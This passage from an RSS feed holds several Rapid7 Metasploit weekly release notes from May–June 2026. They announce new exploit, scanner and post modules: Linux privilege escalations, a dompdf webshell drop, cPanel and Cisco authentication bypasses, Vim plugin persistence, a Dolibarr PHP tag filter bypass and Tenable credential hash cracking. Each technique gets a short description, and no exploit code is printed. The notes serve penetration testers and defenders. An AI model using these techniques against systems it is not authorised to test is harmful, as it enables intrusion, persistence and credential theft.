(CVE-2020-36939), pretalx_file_read_cve_2023_28459 (CVE-2023-28459 and CVE-2023-28458), centreon_pollers_auth_rce (CVE-2019-19699), wp_responsive_thumbnail_slider_upload (CVE-2015-10144), xerte_unauthenticated_template_import_rce (CVE-2026-32985), and solarwinds_storage_manager_sql (CVE-2012-2576).</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21526">#21526</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Makes stability and logging improvements to the ipmi_cipher_zero, ipmi_dumphashes, and ipmi_version modules.</li></ul><h2>Bugs fixed (7)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21432">#21432</a> from <a href="https://github.com/4ravind-b">4ravind-b</a> - Fixes a bug in modules that invoke other modules that prevented datastore options from being validated.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21448">#21448</a> from <a href="https://github.com/kx7m2qd">kx7m2qd</a> - Fixes an issue where CIDR range filters in the addresses parameter of the db.hosts RPC endpoint were not processed correctly.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21484">#21484</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Fixes python ssl command shell payloads that failed with AttributeError: module 'ssl' has no attribute 'wrap_socket'.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21489">#21489</a> from <a href="https://github.com/h00die">h00die</a> - Improves the GitLab version scanner by handling additional exceptions in the scanner for non-GitLab targets and adding additional version fingerprints for real GitLab targets.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21502">#21502</a> from <a href="https://github.com/h00die">h00die</a> - Fixes a crash in the scanner/snmp/snmp_enum module when the system date was read as Null.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21506">#21506</a> from <a href="https://github.com/h00die">h00die</a> - Adds a guard clause when running <span data-type='inlineCode'>uname -r</span> in WSL startup_folder persistence.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21514">#21514</a> from <a href="https://github.com/orbit-bot">orbit-bot</a> - Fixes a couple of references to outdated msfvenom options.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-05-26T12%3A02%3A08Z..2026-06-04T12%3A43%3A08Z%22">Pull Requests 6.4.135...6.4.136</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.135...6.4.136">Full diff 6.4.135...6.4.136</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a>.</p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-05-06-2026</link>
      <guid isPermaLink="false">blt01af911e91780fef</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Brendan Watters]]></dc:creator>
      <pubDate>Fri, 05 Jun 2026 17:01:48 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0475760a2990dfd7/6849ab41a770d7563190a3ea/metasploit-fence.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up 05/29/2026]]></title>
      <description><![CDATA[<h2>More Linux LPEs</h2><p>Hark the age of the Linux LPE has arrived. This week’s release follows up on recent work bringing new Linux LPEs to Metasploit users. Copy Fail seemed to have kicked off a trend of similar bugs and hot on its heels is Dirty Frag. Dirty Frag is actually two vulnerabilities in a trenchcoat, individually identified as CVE-2026-43284 and CVE-2026-43500. Each is exploitable individually and comes with a new Metasploit module.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1420754738dc9925/6a19eb3e69c90088f77beb38/2026-05-29-meme.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-05-29-meme.png" asset-alt="2026-05-29-meme.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1420754738dc9925/6a19eb3e69c90088f77beb38/2026-05-29-meme.png" data-sys-asset-uid="blt1420754738dc9925" data-sys-asset-filename="2026-05-29-meme.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-05-29-meme.png" sys-style-type="display"/></figure><p></p><h2>New module content (5)</h2><h3>Citrix ADC (NetScaler) CVE-2026-3055 Scanner</h3><p>Authors: sfewer-r7 and watchTowr</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21204">#21204</a> contributed by <a href="https://github.com/sfewer-r7">sfewer-r7</a></p><p>Path: scanner/http/citrix_netscaler_cve_2026_3055</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-3055&amp;referrer=blog">CVE-2026-3055</a></p><p>Description: Adds auxiliary module targeting CVE-2026-3055, an info leak in Citrix NetScaler (when configured as an SAML IdP). Similar to the other CitrixBleed vulns, we can leak memory and potentially discover session cookies.</p><h3>Ollama Scanner</h3><p>Author: h00die</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21271">#21271</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: scanner/http/ollama_info</p><p>Description: Adds an ollama LLM auxiliary scanner module to enumerate which LLMs are installed and details about them.</p><h3>xfrm-ESP Page-Cache Write via CVE-2026-43284</h3><p>Authors: Giovanni Heward and Hyunwoo Kim</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21434">#21434</a> contributed by <a href="https://github.com/offsecguy">offsecguy</a></p><p>Path: linux/local/cve_2026_43284_dirty_frag</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-43284&amp;referrer=blog">CVE-2026-43284</a></p><p>Description: Adds two new local privilege escalation modules for the "DirtyFrag" Linux kernel vulnerabilities. The first targets CVE-2026-43284, a page-cache write vulnerability in the xfrm/ESP fragmentation path. The second targets CVE-2026-43500, a page-cache corruption vulnerability in the RxRPC/rxkad subsystem.</p><h3>Dompdf RCE via Malicious Font Caching (CVE-2022-28368)</h3><p>Authors: Adithya Pawar, Fabian Bräunlein, Maximilian Kirchmeier, msutovsky-r7, and rvizx</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21155">#21155</a> contributed by <a href="https://github.com/Adithyadspawar">Adithyadspawar</a></p><p>Path: multi/http/dompdf_rce_cve_2022_28368</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2022-28368&amp;referrer=blog">CVE-2022-28368</a></p><p>Description: Adds a new exploit module for CVE-2022-28368, an unauthenticated remote code execution vulnerability in dompdf prior to 1.2.1. When remote resource loading is enabled, dompdf preserves the .php extension when caching fonts fetched via CSS @font-face rules, allowing an attacker to drop a PHP webshell in the font cache directory and trigger it with a follow-up request.</p><h3>Supsystic Contact Form Wordpress Plugin SSTI RCE</h3><p>Authors: Azril Fathoni and bootstrapbool <a href="mailto:bootstrapbool@gmail.com">bootstrapbool@gmail.com</a></p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21267">#21267</a> contributed by <a href="https://github.com/bootstrapbool">bootstrapbool</a></p><p>Path: multi/http/wp_plugin_supsystic_contact_form_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-4257&amp;referrer=blog">CVE-2026-4257</a></p><p>Description: This adds a module to exploit CVE-2026-4257 resulting in remote code execution on Wordpress sites with the Contact Form by Supsystic plugin. Contact Form plugin versions 1.7.36 and before are vulnerable.</p><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21390">#21390</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This refines our smb_to_ldap relay attack reporting by demoting anonymous authentication messages from print_good to print_status, reflecting that anonymous sessions do not grant additional privileges. It also skips the #on_relay_success callback for these sessions to prevent modules from needlessly acting on unprivileged access.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21443">#21443</a> from <a href="https://github.com/jheysel-r7">jheysel-r7</a> - This bumps the Metasploit-credentials gem to address an issue in how Kerberos hashes were being handled.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21485">#21485</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes MCP server test failure.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21487">#21487</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Updates to a newer version of RubyZip to support Zip files larger than 4GB.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-05-19T23%3A45%3A14Z..2026-05-26T12%3A02%3A08Z%22">Pull Requests 6.4.134...6.4.135</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.134...6.4.135">Full diff 6.4.134...6.4.135</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-05-29-2026</link>
      <guid isPermaLink="false">bltec4d1661701c8896</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Spencer McIntyre]]></dc:creator>
      <pubDate>Fri, 29 May 2026 19:34:41 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up 05/22/2026]]></title>
      <description><![CDATA[<h2>Another week, another authentication bypass</h2><p>Our humble Metasploit weekly(ish) blog has been blessed with a new network component vulnerability. The dynamic duo of @sfewer-r7 and @jburgess-r7 have discovered and authored the admin/networking/cisco_sdwan_vhub_auth_bypass module for CVE-2026-20182, a vulnerability gracing the Cisco Catalyst SD-WAN Controller. The devices, whose purpose is to control a software-defined (SD) wide-area-network (WAN) was unfortunately missing an extra A for authentication. An oversight that Cisco has duly patched.</p><p>Elsewhere this week, the HUSTOJ online judge platform has been caught failing to judge its own zip files (CVE-2026-24479), courtesy of a zip-slip RCE module from LoTuS and friends. Next, @Alpenlol has weaponized the small matter of Barracuda's Email Security Gateway, happily eval()-ing the number format string inside an attached Excel file (CVE-2023-7102).</p><p>Our own @jburgess-r7 has been rather busy and also contributed a cPanel/WHM authentication bypass module that escalates straight to root via CRLF injection (CVE-2026-41940). And last, but not least, @h00die has gifted us a post module for Tenable Security Center that quietly extracts and cracks its stored credential hashes. Nevertheless, this module works only if your Tenable Security Center is using the same password you have been using since 2006.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1c00ca29a0dc49d8/6a0f585f6125c63de7ca60ff/A_train_hitting_a_school_bus.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="A_train_hitting_a_school_bus.png" asset-alt="A_train_hitting_a_school_bus.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1c00ca29a0dc49d8/6a0f585f6125c63de7ca60ff/A_train_hitting_a_school_bus.png" data-sys-asset-uid="blt1c00ca29a0dc49d8" data-sys-asset-filename="A_train_hitting_a_school_bus.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="A_train_hitting_a_school_bus.png" sys-style-type="display"/></figure><p></p><h2>New module content (5)</h2><h3>Cisco Catalyst SD-WAN Controller vHub Authentication Bypass</h3><p>Authors: Crypto-Cat and sfewer-r7</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21463">#21463</a> contributed by <a href="https://github.com/jburgess-r7">jburgess-r7</a></p><p>Path: admin/networking/cisco_sdwan_vhub_auth_bypass</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-20182&amp;referrer=blog">CVE-2026-20182</a></p><p>Description: This adds a new auxiliary module for CVE-2026-20182, an authentication bypass in the Cisco Catalyst SD-WAN Controller.</p><h3>HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE</h3><p>Authors: LoTuS and friends, ling101w, and oxagast</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21165">#21165</a> contributed by <a href="https://github.com/oxagast">oxagast</a></p><p>Path: linux/http/hustoj_problem_import_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-24479&amp;referrer=blog">CVE-2026-24479</a></p><p>Description: This adds an exploit for CVE-2026-24479 which is a zip slip vulnerability in HustOJ, an open source online judge platform, prior to version 26.01.24.</p><h3>Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution</h3><p>Authors: Curt Hyvarinen, Mandiant, and haile01</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21035">#21035</a> contributed by <a href="https://github.com/Alpenlol">Alpenlol</a></p><p>Path: linux/smtp/barracuda_esg_spreadsheet_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2023-7101&amp;referrer=blog">CVE-2023-7101</a></p><p>Description: Adds a new exploit module for CVE-2023-7102, an unauthenticated remote code execution vulnerability in Barracuda Email Security Gateway (ESG) appliances. The flaw resides in the Amavis scanner's use of the Perl Spreadsheet::ParseExcel library, which allows eval injection via malicious Excel number format strings. The module uses Rex::OLE to craft a minimal BIFF8 XLS file with the payload embedded in a FORMAT record and delivers it via SMTP.</p><h3>cPanel/WHM CRLF Injection Authentication Bypass RCE</h3><p>Authors: Adam Kues, Crypto-Cat, Shubham Shah, and Sina Kheirkhah</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21417">#21417</a> contributed by <a href="https://github.com/jburgess-r7">jburgess-r7</a></p><p>Path: multi/http/cpanel_whm_auth_bypass_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-41940&amp;referrer=blog">CVE-2026-41940</a></p><p>Description: This adds an exploit module for cPanel/WHM authentication bypass leading to root RCE (CVE-2026-41940).</p><h3>Tenable Security Center</h3><p>Author: h00die</p><p>Type: Post</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21177">#21177</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: linux/gather/tenable_security_center</p><p>Description: This adds a linux post module for Tenable Security Center that will retrieve credential hashes and crack them.</p><h2>Enhancements and features (6)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21292">#21292</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Updates the RPC notes command to allow data to return a hash value were applicable.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21305">#21305</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Updates the services RPC endpoint to additionally report the resource and parent services fields.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21414">#21414</a> from <a href="https://github.com/dledda-r7">dledda-r7</a> - This backports the Python components of the Copy Fail (CVE-2026-31431) exploit to work with Python 2.7 interpreters, effectively supporting older targets.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21447">#21447</a> from <a href="https://github.com/jheysel-r7">jheysel-r7</a> - This updates Metasploit's documentation to describe how a kerberoast attack can be performed entirely with Metasploit. It also updates the kerberoast module to correctly log the realm to the database regardless of if an existing LDAP session was used or not.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21458">#21458</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Updates the Sinatra, Rack, and Thin web service dependencies to support an upcoming Rails 8 upgrade.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21460">#21460</a> from <a href="https://github.com/bhaskarbhar">bhaskarbhar</a> - This consolidates some code used by Windows exec payloads to provide a more consistent experience.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21285">#21285</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Updates the RPC creds command to now also return the associated realm key and value.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21345">#21345</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This fixes an issue in the smb_enumshares module that prevented it from working against certain SMB 1 targets such as Metasploitable 2.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21474">#21474</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a crash in msfdb init on Windows.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21475">#21475</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fix msfdb installation error on windows.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-05-14T12%3A44%3A22Z..2026-05-19T23%3A45%3A14Z%22">Pull Requests 6.4.133...6.4.134</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.133...6.4.134">Full diff 6.4.133...6.4.134</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-05-22-2026</link>
      <guid isPermaLink="false">blta56c333a8d55ec75</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Martin Sutovsky]]></dc:creator>
      <pubDate>Fri, 22 May 2026 19:10:05 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7464fe659cab8a01/6852c358419e54d8e21c3458/blog-metasploit-wrap-up-.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 05/15/2026]]></title>
      <description><![CDATA[<p></p><h2>Weaponizing a text editor for fun and profit</h2><p>Gather round, dear readers, because today, we (by we, we mean @h00die) dropped the ultimate persistence mechanism: Vim plugin persistence. And honestly, calling it "persistence" feels redundant — Vim is already the most persistent thing ever. Somewhere, somehow, there will still be a Vim session open since 2011, because no one has figured out how to close it. So we are not so much establishing a foothold here as we are joining an existing hostage situation.</p><p>Elsewhere this week, Marvell's QConvergeConsole has been caught handing arbitrary files to unauthenticated visitors, as is tradition (CVE-2025-6793), GestioIP 3.5.7 ships an upload handler, so trusting it will cheerfully let an admin overwrite the handler with a backdoor and then dutifully execute it (CVE-2024-48760). And of course, we can't forget about Dolibarr ERP/CRM, which blocks PHP injections by checking — and we cannot stress this enough — by searching for string &lt;?php. So @M4nu02 brought an elaborate module which changes &lt;?php to &lt;?PHP in the payload to successfully bypass this mitigation (CVE-2023-30253). Truly a wonderful time to be alive.</p><h2></h2><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt80fb065b3abb4a91/6a076d2ec9bda18363c9f093/vim-meme.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="vim-meme.png" asset-alt="vim-meme.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt80fb065b3abb4a91/6a076d2ec9bda18363c9f093/vim-meme.png" data-sys-asset-uid="blt80fb065b3abb4a91" data-sys-asset-filename="vim-meme.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="vim-meme.png" sys-style-type="display"/></figure><h2>New module content (4)</h2><h3>Marvell QConvergeConsole Path Traversal (CVE-2025-6793)</h3><p>Authors: Michael Heinzl and rgod</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21322">#21322</a> contributed by <a href="https://github.com/h4x-x0r">h4x-x0r</a></p><p>Path: gather/qconvergeconsole_traversal</p><p>CVE reference: ZDI-25-450</p><p>Description: This adds a new auxiliary module that exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole to read arbitrary files from the target host. Marvell QConvergeConsole versions 5.5.0.85 and earlier are vulnerable, and no authentication is required to exploit the issue.</p><h3>VIM Plugin Persistence</h3><p>Author: h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21206">#21206</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: linux/persistence/vim_plugin</p><p>Description: This adds a new Linux persistence module, which establishes persistence by writing a Vim plugin to the target user's ~/.vim/plugin/ directory. The next time that user launches Vim, the plugin executes the configured payload and opens a new session as that user.</p><h3>GestioIP 3.5.7 Remote Command Execution</h3><p>Authors: maxibelino and odeez24</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21041">#21041</a> contributed by <a href="https://github.com/Odeez24">Odeez24</a></p><p>Path: multi/http/gestioip_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2024-48760&amp;referrer=blog">CVE-2024-48760</a></p><p>Description: This adds an exploit module for an authenticated remote code execution vulnerability in GestioIP 3.5.7 (CVE-2024-48760). An attacker with admin credentials can abuse the unsafe upload handler at /api/upload.cgi to overwrite the script itself with a backdoor, which is then invoked to execute attacker-supplied commands.</p><h3>Dolibarr ERP/CRM Authenticated Code Injection</h3><p>Authors: Emanuele Cervelli and Tinexta Cyber Offensive Security Team</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21362">#21362</a> contributed by <a href="https://github.com/M4nu02">M4nu02</a></p><p>Path: unix/http/dolibarr_cms_rce_cve_2023_30253</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2023-30253&amp;referrer=blog">CVE-2023-30253</a></p><p>Description: This adds a new exploit module for Dolibarr ERP/CRM (CVE-2023-30253), an authenticated PHP code injection vulnerability affecting versions before 17.0.1. The module abuses the Website module to inject a payload that bypasses Dolibarr's PHP tag filter by using uppercase &lt;?PHP tags instead of the filtered lowercase form. Valid credentials with access to the Website module are required.</p><h2>Enhancements and features (1)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20617">#20617</a> from <a href="https://github.com/Aaditya1273">Aaditya1273</a> - Adds an OptArray datastore option type to the framework. Previously multi valued datastore options were usually input as comma separated strings, now Metasploit devs have the option to use OptArray.</li></ul><h2>Bugs fixed (0)</h2><p>None</p><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-05-08T17%3A05%3A58%2B01%3A00..2026-05-14T12%3A44%3A22Z%22">Pull Requests 6.4.132...6.4.133</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.132...6.4.133">Full diff 6.4.132...6.4.133</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-05-15-2026</link>
      <guid isPermaLink="false">blt1ce1cb7945d4374c</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Martin Sutovsky]]></dc:creator>
      <pubDate>Fri, 15 May 2026 18:54:25 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0475760a2990dfd7/6849ab41a770d7563190a3ea/metasploit-fence.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 05/08/2026]]></title>
      <description><![CDATA[<h1>Spring cleanup</h1><p>This week’s Metasploit updates focused on foundational improvements and expanded target reach. Key enhancements were made to the recently released Copy Fail exploit module, which now benefits from payload fixes in linux/x64/exec and linux/armle/exec. These changes expand its capability, enabling the use of the cmd/unix/python/meterpreter/reverse_tcp payload on x64 targets and introducing support for ARMLE Linux. Additionally, the exploit/multi/http/shiro_rememberme_v124_deserialize module has been improved to allow operators to adjust the deserialization chain, enabling exploitation of a broader set of targets. Finally, several critical utility modules, including the FTP anonymous scanner and other FTP modules, received general fixes and updates.</p><h2>New module content (1)</h2><h3>Anonymous FTP Access Detection</h3><p>Authors: Matteo Cantoni <a href="mailto:goony@nothink.org">goony@nothink.org</a> and g0tmi1k</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21372">#21372</a> contributed by <a href="https://github.com/g0tmi1k">g0tmi1k</a></p><p>Path: scanner/ftp/ftp_anonymous</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-1999-0497&amp;referrer=blog">CVE-1999-0497</a></p><p>Description: This updates the FTP anonymous scanner module. Key changes include moving the module to align with other generic FTP modules, adding and updating CVE references and documentation notes, and cleaning up the output to be more verbose. Additionally, the module now reports service and vulnerability data to the database and stores proof-of-exploitation info in the loot upon a successful run.</p><h2>Enhanced Modules (2)</h2><p>Modules which have either been enhanced, or renamed:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21410">#21410</a> from <a href="https://github.com/inkognitobo">inkognitobo</a> - This improves the exploit/multi/http/shiro_rememberme_v124_deserialize module by adding a JAVA_GADGET_CHAIN datastore option that allows the operator to adjust the chain used for deserialization. This enables the module to exploit additional targets.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21404">#21404</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This extends the support of Copy Fail to ARMLE Linux targets.</li></ul><h2>Enhancements and features (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21342">#21342</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Defers the loading of some dependencies to improve console boot time.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21372">#21372</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This updates the FTP anonymous scanner module. Key changes include moving the module to align with other generic FTP modules, adding and updating CVE references and documentation notes, and cleaning up the output to be more verbose. Additionally, the module now reports service and vulnerability data to the database and stores proof-of-exploitation info in the loot upon a successful run.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21380">#21380</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Updates multiple FTP modules to now register FTP service information in the database when successfully connecting to an FTP service.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21418">#21418</a> from <a href="https://github.com/kx7m2qd">kx7m2qd</a> - This improves the platform-agnostic library used to obtain the OS architecture with support for shell sessions on Linux, BSD and Mac OSX.</li></ul><h2>Bugs fixed (5)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21314">#21314</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Fixes a crash when running the scanner/http/trace module with the database enabled and a vulnerability was reported.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21411">#21411</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This fixes a bug in the linux/x64/exec payload that was caused by the CMD datastore option being placed in the assembly source without being escaped.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21413">#21413</a> from <a href="https://github.com/tart0ru5">tart0ru5</a> - Fixes a logic error in the exploits/linux/http/projectsend_unauth_rce module that incorrectly checked if a new user has been created.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21421">#21421</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - This adds extra validation to report_vuln and delete_vuln in Msf::DBManager::Vuln to make sure required fields are present and avoid a crash.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21425">#21425</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Fixes a bug when parsing FTP server responses.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-04-30T22%3A30%3A05Z..2026-05-08T17%3A05%3A58%2B01%3A00%22">Pull Requests 6.4.131...6.4.132</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.131...6.4.132">Full diff 6.4.131...6.4.132</a></li></ul><p>If you are a git user, you can clone the 